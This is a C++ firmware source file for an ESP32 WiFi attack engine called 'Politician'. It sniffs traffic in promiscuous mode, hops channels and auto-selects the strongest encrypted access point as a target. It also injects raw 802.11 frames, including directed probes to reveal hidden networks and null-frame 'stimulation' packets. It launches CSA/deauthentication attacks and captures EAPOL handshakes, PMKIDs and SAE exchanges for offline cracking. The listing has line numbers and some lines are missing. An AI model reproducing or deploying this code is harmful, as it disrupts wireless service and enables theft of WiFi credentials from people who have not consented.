15const uint8_t Politician::HOP_SEQ[] = {1, 6, 11, 2, 7, 3, 8, 4, 9, 5, 10, 12, 13};
16const uint8_t Politician::HOP_COUNT =
sizeof(HOP_SEQ) /
sizeof(HOP_SEQ[0]);
21 149, 153, 157, 161, 165
27 if (ch >= 1 && ch <= 14)
return true;
35 if ((ch >= 52 && ch <= 64) || (ch >= 100 && ch <= 144))
return true;
42 : _active(false), _channel(1), _rxChannel(1), _hopping(false), _channelTrafficSeen(false),
43 _lastHopMs(0), _lastRssi(0), _hopIndex(0),
44 _m1Locked(false), _m1LockEndMs(0),
45 _probeLocked(false), _probeLockEndMs(0),
46 _customChannelCount(0),
47 _eapolCb(nullptr), _apFoundCb(nullptr), _filterCb(nullptr),
48 _logCb(nullptr), _attackResultCb(nullptr), _ignoreCount(0),
49 _fishState(FISH_IDLE), _fishStartMs(0), _fishRetry(0),
50 _fishSsidLen(0), _fishChannel(1),
51 _fishAuthLogged(false), _fishAssocLogged(false),
52 _csaSecondBurstSent(false),
54 _hasTarget(false), _targetChannel(1),
58 memset(&_stats, 0,
sizeof(_stats));
59 memset(_attackOverrides, 0,
sizeof(_attackOverrides));
60 memset(_injectQueue, 0,
sizeof(_injectQueue));
61 memset(_sessions, 0,
sizeof(_sessions));
62 memset(_apCache, 0,
sizeof(_apCache));
63 memset(_captured, 0,
sizeof(_captured));
64 memset(_targetBssid, 0,
sizeof(_targetBssid));
65 memset(_fishBssid, 0,
sizeof(_fishBssid));
66 memset(_fishSsid, 0,
sizeof(_fishSsid));
67 memset(_ownStaMac, 0,
sizeof(_ownStaMac));
68 memset(_ignoreList, 0,
sizeof(_ignoreList));
72void Politician::_log(
const char *fmt, ...) {
73#ifndef POLITICIAN_NO_LOGGING
77 vsnprintf(buf,
sizeof(buf), fmt, args);
91 wifi_init_config_t wifi_cfg = WIFI_INIT_CONFIG_DEFAULT();
93 if (esp_wifi_set_storage(WIFI_STORAGE_RAM) != ESP_OK)
return ERR_WIFI_INIT;
95 if (esp_wifi_set_mode(WIFI_MODE_APSTA) != ESP_OK)
return ERR_WIFI_INIT;
97 wifi_config_t ap_cfg = {};
98 const char *ap_ssid =
"WiFighter";
99 memcpy(ap_cfg.ap.ssid, ap_ssid, strlen(ap_ssid));
100 ap_cfg.ap.ssid_len = (uint8_t)strlen(ap_ssid);
101 ap_cfg.ap.ssid_hidden = 1;
102 ap_cfg.ap.max_connection = 4;
103 ap_cfg.ap.authmode = WIFI_AUTH_OPEN;
104 ap_cfg.ap.channel = 1;
105 ap_cfg.ap.beacon_interval = 1000;
106 if (esp_wifi_set_config(WIFI_IF_AP, &ap_cfg) != ESP_OK)
return ERR_WIFI_INIT;
110 esp_wifi_get_mac(WIFI_IF_STA, _ownStaMac);
111 _log(
"[WiFi] STA MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
112 _ownStaMac[0], _ownStaMac[1], _ownStaMac[2],
113 _ownStaMac[3], _ownStaMac[4], _ownStaMac[5]);
115 esp_log_level_set(
"wifi", ESP_LOG_NONE);
117 wifi_promiscuous_filter_t filt = {
118 .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA
120 if (esp_wifi_set_promiscuous_filter(&filt) != ESP_OK)
return ERR_WIFI_INIT;
121 if (esp_wifi_set_promiscuous(
true) != ESP_OK)
return ERR_WIFI_INIT;
122 if (esp_wifi_set_promiscuous_rx_cb(&_promiscuousCb) != ESP_OK)
return ERR_WIFI_INIT;
123 if (esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE) != ESP_OK)
return ERR_WIFI_INIT;
127 _lock = xSemaphoreCreateRecursiveMutex();
133 _rb = xRingbufferCreate(16384, RINGBUF_TYPE_NOSPLIT);
138 xTaskCreatePinnedToCore(_workerTask,
"pol_worker", 4096,
this, 5, &_task, 0);
143 _log(
"[WiFi] Ready — monitor mode ch%d\n", _channel);
149 if (!_initialized)
return;
150 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
152 xSemaphoreGiveRecursive(_lock);
154 _log(
"[WiFi] Capture %s\n", active ?
"ACTIVE" :
"IDLE");
161 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
163 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
164 xSemaphoreGiveRecursive(_lock);
170 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
172 xSemaphoreGiveRecursive(_lock);
178 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
179 _ignoreCount = (count > MAX_IGNORE) ? MAX_IGNORE : count;
180 for (uint8_t i = 0; i < _ignoreCount; i++) {
181 memcpy(_ignoreList[i], bssids[i], 6);
183 xSemaphoreGiveRecursive(_lock);
185 _log(
"[WiFi] Ignore list updated: %d BSSIDs\n", count);
189 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
191 xSemaphoreGiveRecursive(_lock);
193 _log(
"[WiFi] Captured list cleared\n");
197 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
198 _markCaptured(bssid);
199 xSemaphoreGiveRecursive(_lock);
204 if (!_initialized)
return;
205 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
210 _channelTrafficSeen =
false;
212 xSemaphoreGiveRecursive(_lock);
218 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
220 xSemaphoreGiveRecursive(_lock);
225 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
226 if (_fishState != FISH_IDLE) {
227 esp_wifi_disconnect();
228 _fishState = FISH_IDLE;
233 _autoTargetActive =
false;
235 _probeLocked =
false;
237 xSemaphoreGiveRecursive(_lock);
239 _log(
"[WiFi] Engine stopped\n");
244 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
246 xSemaphoreGiveRecursive(_lock);
248 _log(
"[WiFi] Attack mask: PMKID=%d CSA=%d PASSIVE=%d\n",
253 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
254 for (
int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
255 if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0) {
256 _attackOverrides[i].mask = mask;
257 xSemaphoreGiveRecursive(_lock);
261 for (
int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
262 if (!_attackOverrides[i].active) {
263 _attackOverrides[i].active =
true;
264 memcpy(_attackOverrides[i].bssid, bssid, 6);
265 _attackOverrides[i].mask = mask;
266 xSemaphoreGiveRecursive(_lock);
270 xSemaphoreGiveRecursive(_lock);
272 _log(
"[Attack] Override table full — ignoring per-BSSID mask request\n");
276 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
277 memset(_attackOverrides, 0,
sizeof(_attackOverrides));
278 xSemaphoreGiveRecursive(_lock);
282uint8_t Politician::_getAttackMask(
const uint8_t *bssid)
const {
283 for (
int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
284 if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0)
285 return _attackOverrides[i].mask;
293 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE)
return ERR_WIFI_INIT;
295 if (_isCaptured(bssid)) {
296 xSemaphoreGiveRecursive(_lock);
300 memcpy(_targetBssid, bssid, 6);
301 _targetChannel = channel;
304 for (
int i = 0; i < MAX_AP_CACHE; i++) {
305 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
306 _apCache[i].last_probe_ms = 0;
313 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
315 _rxChannel = channel;
316 _log(
"[WiFi] Target → %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
317 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], channel);
319 xSemaphoreGiveRecursive(_lock);
324 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
326 memset(_targetBssid, 0, 6);
327 xSemaphoreGiveRecursive(_lock);
329 _log(
"[WiFi] Target cleared — wardriving mode\n");
336 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE)
return ERR_WIFI_INIT;
338 if (!wait_for_channel) {
340 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
342 _rxChannel = channel;
344 esp_wifi_80211_tx(WIFI_IF_STA, (
void*)payload, len,
false);
345 _log(
"[Inject] Transmitted %d bytes on ch%d\n", (
int)len, channel);
349 _m1LockEndMs =
millis() + lock_ms;
354 for (
int i = 0; i < MAX_INJECT_QUEUE; i++) {
355 if (!_injectQueue[i].active) {
356 _injectQueue[i].active =
true;
357 _injectQueue[i].channel = channel;
358 _injectQueue[i].len = len;
359 _injectQueue[i].lock_ms = lock_ms;
360 memcpy(_injectQueue[i].payload, payload, len);
362 _log(
"[Inject] Queued %d bytes for ch%d\n", (
int)len, channel);
367 xSemaphoreGiveRecursive(_lock);
372 xSemaphoreGiveRecursive(_lock);
377 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
378 if (count == 0 || channels ==
nullptr) {
379 _customChannelCount = 0;
381 xSemaphoreGiveRecursive(_lock);
382 _log(
"[WiFi] Channel list cleared — hopping all channels\n");
385 _customChannelCount = 0;
388 _customChannels[_customChannelCount++] = channels[i];
392 xSemaphoreGiveRecursive(_lock);
394 _log(
"[WiFi] Channel list set: %d channels\n", _customChannelCount);
398 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
399 _customChannelCount = 0;
402 _customChannels[_customChannelCount++] = HOP_SEQ[i];
411 xSemaphoreGiveRecursive(_lock);
413 if (_customChannelCount == 0) {
414 _log(
"[WiFi] setChannelBands: no bands selected — reverting to default 2.4GHz\n");
416 _log(
"[WiFi] Channel bands set: %d channels (2.4GHz=%d 5GHz=%d)\n",
417 _customChannelCount, (
int)ghz24, (
int)ghz5);
423 uint8_t ssid_len = (uint8_t)strlen(ssid);
425 int8_t best_rssi = INT8_MIN;
426 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
427 for (
int i = 0; i < MAX_AP_CACHE; i++) {
428 if (!_apCache[i].flags.active)
continue;
429 if (_apCache[i].ssid_len != ssid_len)
continue;
430 if (memcmp(_apCache[i].ssid, ssid, ssid_len) != 0)
continue;
431 if (_apCache[i].rssi > best_rssi) {
432 best_rssi = _apCache[i].rssi;
436 xSemaphoreGiveRecursive(_lock);
439 return setTarget(_apCache[best].bssid, _apCache[best].channel);
443 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
444 _autoTarget = enable;
447 memset(_targetBssid, 0, 6);
448 _autoTargetActive =
false;
450 xSemaphoreGiveRecursive(_lock);
452 _log(
"[AutoTarget] %s\n", enable ?
"enabled" :
"disabled");
455void Politician::_recordClientForAp(
const uint8_t *bssid,
const uint8_t *sta, int8_t rssi) {
456 for (
int i = 0; i < MAX_AP_CACHE; i++) {
457 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0)
continue;
458 _apCache[i].flags.has_active_clients =
true;
459 for (
int j = 0; j < _apCache[i].known_sta_count; j++)
460 if (memcmp(_apCache[i].known_stas[j], sta, 6) == 0)
return;
461 if (_apCache[i].known_sta_count < 4) {
462 memcpy(_apCache[i].known_stas[_apCache[i].known_sta_count++], sta, 6);
463 if (_clientFoundCb) _clientFoundCb(bssid, sta, rssi);
469void Politician::_sendProbeRequest(
const uint8_t *bssid) {
470 uint8_t frame[36];
int p = 0;
471 frame[p++] = 0x40; frame[p++] = 0x00;
472 frame[p++] = 0x00; frame[p++] = 0x00;
473 memcpy(frame + p, bssid, 6); p += 6;
474 memcpy(frame + p, _ownStaMac, 6); p += 6;
475 memcpy(frame + p, bssid, 6); p += 6;
476 frame[p++] = 0x00; frame[p++] = 0x00;
477 frame[p++] = 0x00; frame[p++] = 0x00;
478 frame[p++] = 0x01; frame[p++] = 0x08;
479 frame[p++] = 0x82; frame[p++] = 0x84; frame[p++] = 0x8b; frame[p++] = 0x96;
480 frame[p++] = 0x0c; frame[p++] = 0x12; frame[p++] = 0x18; frame[p++] = 0x24;
481 esp_wifi_80211_tx(WIFI_IF_STA, frame, p,
false);
482 _log(
"[Probe] Directed probe to hidden AP %02X:%02X:%02X:%02X:%02X:%02X\n",
483 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
488 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) != pdTRUE)
return;
492 static uint32_t lastDiagMs = 0;
493 uint32_t nowDiag =
millis();
494 if (nowDiag - lastDiagMs >= 30000) {
495 lastDiagMs = nowDiag;
496 _log(
"[Stats] total=%lu mgmt=%lu data=%lu eapol=%lu pmkid=%lu sae=%lu caps=%lu fail_pmkid=%lu fail_csa=%lu drop=%lu rb_max=%lu aps=%d lock=%s\n",
497 (
unsigned long)_stats.
total, (
unsigned long)_stats.
mgmt,
498 (
unsigned long)_stats.
data, (
unsigned long)_stats.
eapol,
504 _probeLocked ?
"probe" : _m1Locked ?
"m1" :
"none");
510 uint32_t now_ap =
millis();
511 for (
int i = 0; i < MAX_AP_CACHE; i++) {
512 if (_apCache[i].flags.active && (now_ap - _apCache[i].last_seen_ms) > _cfg.
ap_expiry_ms)
513 _apCache[i].flags.active =
false;
517 if (_autoTarget && !_autoTargetActive && _fishState == FISH_IDLE && !_probeLocked && !_m1Locked) {
518 int best = -1;
int best_score = -9999;
519 for (
int i = 0; i < MAX_AP_CACHE; i++) {
520 if (!_apCache[i].flags.active || _isCaptured(_apCache[i].bssid))
continue;
522 if (_apCache[i].enc < 2)
continue;
526 int score = _apCache[i].rssi;
527 if (_targetScoreCb) {
529 memcpy(ap_rec.
bssid, _apCache[i].bssid, 6);
530 memcpy(ap_rec.
ssid, _apCache[i].ssid, 33);
531 ap_rec.
ssid_len = _apCache[i].ssid_len;
532 ap_rec.
enc = _apCache[i].enc;
533 ap_rec.
channel = _apCache[i].channel;
534 ap_rec.
rssi = _apCache[i].rssi;
535 ap_rec.
wps_enabled = _apCache[i].flags.wps_enabled;
536 ap_rec.
pmf_capable = _apCache[i].flags.pmf_capable;
540 ap_rec.
ft_capable = _apCache[i].flags.ft_capable;
543 memcpy(ap_rec.
country, _apCache[i].country, 3);
546 ap_rec.
is_hidden = _apCache[i].flags.is_hidden;
547 ap_rec.
sta_count = _apCache[i].sta_count;
548 ap_rec.
chan_util = _apCache[i].chan_util;
553 if (score > best_score) { best_score = score; best = i; }
556 _autoTargetActive =
true;
557 setTarget(_apCache[best].bssid, _apCache[best].channel);
558 _log(
"[AutoTarget] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%s rssi=%d score=%d\n",
559 _apCache[best].bssid[0], _apCache[best].bssid[1], _apCache[best].bssid[2],
560 _apCache[best].bssid[3], _apCache[best].bssid[4], _apCache[best].bssid[5],
561 _apCache[best].ssid, _apCache[best].rssi, best_score);
566 xSemaphoreGiveRecursive(_lock);
572 if (_probeLocked && _fishState == FISH_IDLE && now >= _probeLockEndMs) {
573 _probeLocked =
false;
577 if (_m1Locked && now >= _m1LockEndMs) {
582 bool locked = _m1Locked || _probeLocked || _hasTarget;
588 }
else if (_channelTrafficSeen) {
593 if (!locked && (now - _lastHopMs >= current_dwell)) {
594 const uint8_t *seq = (_customChannelCount > 0) ? _customChannels : HOP_SEQ;
595 uint8_t count = (_customChannelCount > 0) ? _customChannelCount : HOP_COUNT;
596 _hopIndex = (_hopIndex + 1) % count;
597 _channel = seq[_hopIndex];
598 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
600 _channelTrafficSeen =
false;
603 for (
int i = 0; i < MAX_INJECT_QUEUE; i++) {
604 if (_injectQueue[i].active && _injectQueue[i].channel == _channel) {
605 esp_wifi_80211_tx(WIFI_IF_STA, (
void*)_injectQueue[i].payload, _injectQueue[i].len,
false);
606 _log(
"[Inject] Transmitted queued %d bytes on ch%d\n", _injectQueue[i].len, _channel);
607 _injectQueue[i].active =
false;
608 if (_injectQueue[i].lock_ms > 0) {
610 _m1LockEndMs =
millis() + _injectQueue[i].lock_ms;
616 xSemaphoreGiveRecursive(_lock);
620void IRAM_ATTR Politician::_promiscuousCb(
void *buf, wifi_promiscuous_pkt_type_t type) {
621 if (!_instance || !_instance->_active || !_instance->_rb)
return;
623 const wifi_promiscuous_pkt_t *pkt = (
const wifi_promiscuous_pkt_t *)buf;
624 uint16_t total_len =
sizeof(wifi_pkt_rx_ctrl_t) + pkt->rx_ctrl.sig_len;
627 if (xRingbufferSendFromISR(_instance->_rb, buf, total_len, NULL) != pdTRUE) {
632void Politician::_workerTask(
void *pvParameters) {
636 wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)xRingbufferReceive(self->_rb, &size, portMAX_DELAY);
639 uint16_t fc = pkt->payload[0] | (pkt->payload[1] << 8);
640 wifi_promiscuous_pkt_type_t type = WIFI_PKT_MGMT;
641 if ((fc & 0x0C) == 0x08) type = WIFI_PKT_DATA;
642 else if ((fc & 0x0C) == 0x04) type = WIFI_PKT_CTRL;
644 if (self->_lock && xSemaphoreTakeRecursive(self->_lock, portMAX_DELAY) == pdTRUE) {
647 vRingbufferGetInfo(self->_rb, NULL, NULL, NULL, NULL, &free_rb);
648 uint32_t used_rb = 16384 - (uint32_t)free_rb;
649 if (used_rb > self->_stats.rb_max) self->_stats.rb_max = used_rb;
651 self->_handleFrame(pkt, type);
652 xSemaphoreGiveRecursive(self->_lock);
654 vRingbufferReturnItem(self->_rb, (
void *)pkt);
659void Politician::_handleFrame(
const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) {
660 if (!_active)
return;
662 uint16_t sig_len = pkt->rx_ctrl.sig_len;
663 if (sig_len <
sizeof(ieee80211_hdr_t))
return;
666 _lastRssi = (int8_t)pkt->rx_ctrl.rssi;
667 _rxChannel = pkt->rx_ctrl.channel;
668 if (_rxChannel >= 1 && _rxChannel <= 14) _stats.
channel_frames[_rxChannel - 1]++;
670 const ieee80211_hdr_t *hdr = (
const ieee80211_hdr_t *)pkt->payload;
671 uint16_t fc = hdr->frame_ctrl;
684 uint16_t hdr_len =
sizeof(ieee80211_hdr_t);
685 uint8_t subtype = fsub >> 4;
686 bool is_qos = (subtype >= 8 && subtype <= 11);
692 const uint8_t *llc = pkt->payload + hdr_len;
693 if (llc[0] == 0xAA && llc[1] == 0xAA && llc[2] == 0x03 &&
699 if (log_it) _packetCb(pkt->payload, sig_len, _lastRssi, _rxChannel, pkt->rx_ctrl.timestamp);
705 uint16_t payload_off =
sizeof(ieee80211_hdr_t);
706 if (sig_len > payload_off) {
707 _handleMgmt(hdr, pkt->payload + payload_off, sig_len - payload_off, _lastRssi);
709 }
else if (type == WIFI_PKT_DATA && ftype ==
FC_TYPE_DATA) {
712 uint16_t hdr_len =
sizeof(ieee80211_hdr_t);
713 bool is_qos = (subtype >= 8 && subtype <= 11);
718 if (sig_len > hdr_len) {
719 _handleData(hdr, pkt->payload + hdr_len, sig_len - hdr_len, _lastRssi);
726void Politician::_handleMgmt(
const ieee80211_hdr_t *hdr,
const uint8_t *payload,
727 uint16_t len, int8_t rssi) {
731 if (_probeReqCb || _fpHook) {
732 char fp_ssid[33] = {};
733 uint8_t fp_ssid_len = 0;
734 _parseSsid(payload, len, fp_ssid, fp_ssid_len);
736 ProbeRequestRecord rec;
737 memset(&rec, 0,
sizeof(rec));
738 memcpy(rec.client, hdr->addr2, 6);
739 rec.channel = _rxChannel;
741 rec.rand_mac = (rec.client[0] & 0x02) != 0;
742 memcpy(rec.ssid, fp_ssid, fp_ssid_len);
743 rec.ssid_len = fp_ssid_len;
746 if (_fpHook) _fpHook(hdr->addr2, fp_ssid, fp_ssid_len, _rxChannel, rssi, payload, len);
754 memset(&rec, 0,
sizeof(rec));
755 memcpy(rec.src, hdr->addr2, 6);
756 memcpy(rec.dst, hdr->addr1, 6);
757 memcpy(rec.bssid, hdr->addr3, 6);
758 rec.reason = (len >= 2) ? (((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8)) : 0;
759 rec.subtype = subtype;
760 rec.channel = _rxChannel;
762 rec.rand_mac = (rec.src[0] & 0x02) != 0;
773 _channelTrafficSeen =
true;
774 if (len < 12)
return;
776 const uint8_t *ie = payload + 12;
777 uint16_t ie_len = (len > 12) ? len - 12 : 0;
779 uint8_t beacon_ch = _rxChannel;
782 while (pos + 2 <= ie_len) {
783 uint8_t tag = ie[pos];
784 uint8_t tlen = ie[pos + 1];
785 if (pos + 2 + tlen > ie_len)
break;
786 if (tag == 3 && tlen == 1) { beacon_ch = ie[pos + 2];
break; }
792 memcpy(ap.bssid, hdr->addr3, 6);
793 ap.channel = beacon_ch;
795 _parseSsid(ie, ie_len, ap.ssid, ap.ssid_len);
796 ap.enc = _classifyEnc(ie, ie_len);
797 if (ap.enc == 0 && (hdr->frame_ctrl & 0x4000)) ap.enc = 1;
800 ap.wps_enabled =
false;
803 while (wp + 2 <= ie_len) {
804 uint8_t wtag = ie[wp], wlen = ie[wp + 1];
805 if (wp + 2 + wlen > ie_len)
break;
806 if (wtag == 221 && wlen >= 4 &&
807 ie[wp+2]==0x00 && ie[wp+3]==0x50 && ie[wp+4]==0xF2 && ie[wp+5]==0x04) {
808 ap.wps_enabled =
true;
break;
814 if (ap.rssi < _cfg.
min_rssi)
return;
816 if (_fpHook) _fpHook(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch, rssi, ie, ie_len);
819 if (_filterCb && !_filterCb(ap))
return;
821 uint8_t effMask = _getAttackMask(ap.bssid);
823 bool is_wpa3_only = (ap.enc >= 3) && _detectWpa3Only(ie, ie_len);
824 bool pmf_capable =
false, pmf_required =
false;
825 if (ap.enc >= 3) _detectPmfFlags(ie, ie_len, pmf_capable, pmf_required);
826 ap.pmf_capable = pmf_capable;
827 ap.pmf_required = pmf_required;
828 uint8_t ft_capable = (ap.enc >= 3) && _detectFt(ie, ie_len);
829 ap.ft_capable = ft_capable;
832 uint16_t sta_count = 0;
833 uint8_t chan_util = 0;
834 uint8_t venue_group = 0;
835 uint8_t venue_type = 0;
836 uint8_t network_type = 0;
839 while (pos + 2 <= ie_len) {
840 uint8_t tag = ie[pos];
841 uint8_t tlen = ie[pos + 1];
842 if (pos + 2 + tlen > ie_len)
break;
843 if (tag == 11 && tlen >= 5) {
844 sta_count = ((uint16_t)ie[pos + 2]) | ((uint16_t)ie[pos + 3] << 8);
845 chan_util = ie[pos + 4];
846 }
else if (tag == 107 && tlen >= 1) {
847 network_type = ie[pos + 2] & 0x0F;
849 venue_group = ie[pos + 3];
850 venue_type = ie[pos + 4];
857 ap.venue_group = venue_group;
858 ap.venue_type = venue_type;
859 ap.network_type = network_type;
860 ap.captured = _isCaptured(ap.bssid);
862 ApCacheEntry* entry = _cacheAp(ap.bssid, ap.ssid, ap.ssid_len, ap.enc, beacon_ch, rssi,
863 is_wpa3_only, ap.wps_enabled, pmf_capable, pmf_required, ft_capable,
864 sta_count, chan_util, venue_group, venue_type, network_type);
868 uint16_t bint = (len >= 10) ? (((uint16_t)payload[8]) | ((uint16_t)payload[9] << 8)) : 0;
871 while (pos + 2 <= ie_len) {
872 uint8_t tag = ie[pos], tlen = ie[pos + 1];
873 if (pos + 2 + tlen > ie_len)
break;
874 if (tag == 1 || tag == 50) {
875 for (uint8_t ri = 0; ri < tlen; ri++) {
876 uint8_t r = (ie[pos + 2 + ri] & 0x7F);
877 if (r > maxr) maxr = r;
882 if (bint > 0) entry->beacon_interval = bint;
883 if (maxr > 0) entry->max_rate_mbps = maxr / 2;
889 while (pos + 2 <= ie_len) {
890 uint8_t tag = ie[pos], tlen = ie[pos + 1];
891 if (pos + 2 + tlen > ie_len)
break;
892 if (tag == 7 && tlen >= 2) {
893 entry->country[0] = ie[pos + 2];
894 entry->country[1] = ie[pos + 3];
895 entry->country[2] =
'\0';
904 bool threshold_ok =
true;
908 if (threshold_ok) _apFoundCb(ap);
914 entry->last_hidden_probe_ms =
millis();
915 _sendProbeRequest(ap.bssid);
919 if (ap.ssid_len > 0 && beacon_ch > 0) {
920 if (_hasTarget && memcmp(_targetBssid, ap.bssid, 6) != 0)
return;
924 for (
int i = 0; i < MAX_AP_CACHE; i++) {
925 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
926 if (!_apCache[i].flags.has_active_clients && (
millis() - _apCache[i].last_stimulate_ms > 15000)) {
927 _apCache[i].last_stimulate_ms =
millis();
931 uint8_t wake_null[24] = {
932 0x48, 0x22, 0x00, 0x00,
933 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
934 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5],
935 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5],
938 esp_wifi_80211_tx(WIFI_IF_STA, wake_null,
sizeof(wake_null),
false);
939 _log(
"[Stimulate] Beacon-Sync Null Injection fired at %02X:%02X:%02X:%02X:%02X:%02X\n",
940 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
948 bool canFish = ap.enc >= 3 && ap.ssid_len > 0 && !_isCaptured(ap.bssid);
949 if (_hasTarget) canFish = canFish && memcmp(ap.bssid, _targetBssid, 6) == 0;
951 if (canFish && _fishState == FISH_IDLE) {
953 for (
int i = 0; i < MAX_AP_CACHE; i++) {
954 if (!_apCache[i].flags.active)
continue;
955 if (memcmp(_apCache[i].bssid, ap.bssid, 6) != 0)
continue;
961 uint32_t throttle_ms = _hasTarget ? 0u
962 : _apCache[i].flags.has_active_clients ? 15000u
964 uint32_t elapsed =
millis() - _apCache[i].last_probe_ms;
965 if (elapsed >= throttle_ms) {
966 _apCache[i].last_probe_ms =
millis();
967 _startFishing(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch);
973 for (
int i = 0; i < MAX_AP_CACHE; i++) {
974 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
982 memset(_fishSta, 0, 6);
983 for (
int ci = 0; ci < MAX_AP_CACHE; ci++) {
984 if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0 && _apCache[ci].known_sta_count > 0) {
985 memcpy(_fishSta, _apCache[ci].known_stas[0], 6);
break;
988 if (!(_fishSta[0] || _fishSta[1] || _fishSta[2])) {
989 for (
int s = 0; s < MAX_SESSIONS; s++) {
990 if (_sessions[s].flags.active && _sessions[s].flags.has_m2 && memcmp(_sessions[s].bssid, ap.bssid, 6) == 0) {
991 memcpy(_fishSta, _sessions[s].sta, 6);
break;
995 memcpy(_fishBssid, ap.bssid, 6); memcpy(_fishSsid, ap.ssid, ap.ssid_len); _fishSsid[ap.ssid_len] =
'\0';
996 _fishSsidLen = ap.ssid_len; _fishChannel = beacon_ch; _fishStartMs =
millis();
997 _fishState = FISH_CSA_WAIT;
998 _csaSecondBurstSent =
false;
1000 const uint8_t *known_sta = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
1007 _csaFallbackMs =
millis() + 1000;
1013 _log(
"[Attack] Starting CSA/Deauth on %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s ch%d\n",
1014 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], ap.ssid_len, ap.ssid, beacon_ch);
1019 _recordClientForAp(hdr->addr1, hdr->addr2, rssi);
1021 if (len < 6)
return;
1022 uint16_t auth_alg = ((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8);
1023 uint16_t auth_seq = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
1024 uint16_t status = ((uint16_t)payload[4]) | ((uint16_t)payload[5] << 8);
1026 if (auth_alg == 0) {
1027 if (auth_seq == 2 && !_fishAuthLogged) {
1028 _fishAuthLogged =
true;
1029 _log(
"[Auth] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
1030 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
1031 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], status);
1033 }
else if (auth_alg == 3) {
1036 _log(
"[SAE] %s from %02X:%02X:%02X:%02X:%02X:%02X rssi=%d\n",
1037 (auth_seq == 1) ?
"Commit" : (auth_seq == 2) ?
"Confirm" :
"Auth",
1038 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
1039 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], rssi);
1042 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1043 rec.type =
CAP_SAE; rec.channel = _rxChannel; rec.rssi = rssi;
1044 memcpy(rec.bssid, hdr->addr3, 6); memcpy(rec.sta, hdr->addr2, 6);
1045 _lookupSsid(rec.bssid, rec.ssid, rec.ssid_len);
1046 _lookupEnc(rec.bssid, rec.enc);
1049 uint16_t sae_body_len = (len > 6) ? len - 6 : 0;
1050 if (sae_body_len > 256) sae_body_len = 256;
1051 memcpy(rec.sae_data, payload + 6, sae_body_len);
